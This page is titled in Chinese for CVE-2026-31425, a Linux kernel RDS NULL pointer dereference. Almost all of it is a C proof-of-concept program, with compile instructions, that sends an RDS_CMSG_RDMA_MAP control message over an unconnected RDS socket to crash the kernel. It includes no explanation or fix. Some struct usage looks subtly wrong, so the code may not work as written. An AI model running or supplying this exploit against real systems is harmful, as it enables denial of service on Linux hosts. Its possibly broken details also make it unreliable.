CVE-2026-31425 Linux内核RDS空指针引用漏洞

/* * PoC for CVE-2026-31425: Linux Kernel RDS NULL Pointer Dereference * This code attempts to trigger the bug by calling sendmsg with RDS_CMSG_RDMA_MAP * on a socket where the underlying IB connection is not yet established. * * Compile: gcc -o poc_cve2026_31425 poc_cve2026_31425.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <linux/rds.h> int main() { int fd; struct sockaddr_in addr; struct msghdr msg; struct iovec iov; char buf[1] = {0}; struct rds_rdma_args rdma_args; struct cmsghdr *cmsg; // Create RDS socket fd = socket(AF_RDS, SOCK_SEQPACKET, 0); if (fd < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; // Target a remote host. The vulnerability relies on the connection state being "fresh". inet_pton(AF_INET, "192.168.1.100", &addr.sin_addr); // Prepare message control data for RDMA map memset(&msg, 0, sizeof(msg)); iov.iov_base = buf; iov.iov_len = 1; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_name = &addr; msg.msg_namelen = sizeof(addr); // Setup ancillary data for RDS_CMSG_RDMA_MAP char cmsgbuf[CMSG_SPACE(sizeof(struct rds_rdma_args))]; msg.msg_control = cmsgbuf; msg.msg_controllen = sizeof(cmsgbuf); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_RDS; cmsg->cmsg_type = RDS_CMSG_RDMA_MAP; // Populate dummy args to trigger the path memset(&rdma_args, 0, sizeof(rdma_args)); rdma_args.remote_addr = 0x1000; memcpy(CMSG_DATA(cmsg), &rdma_args, sizeof(rdma_args)); printf("Attempting to trigger vulnerability by sending RDMA map on fresh connection...\n"); // This sendmsg call attempts to map memory before connection is ready sendmsg(fd, &msg, 0); printf("If kernel didn't crash, the bug might be patched or conditions not met.\n"); close(fd); return 0; }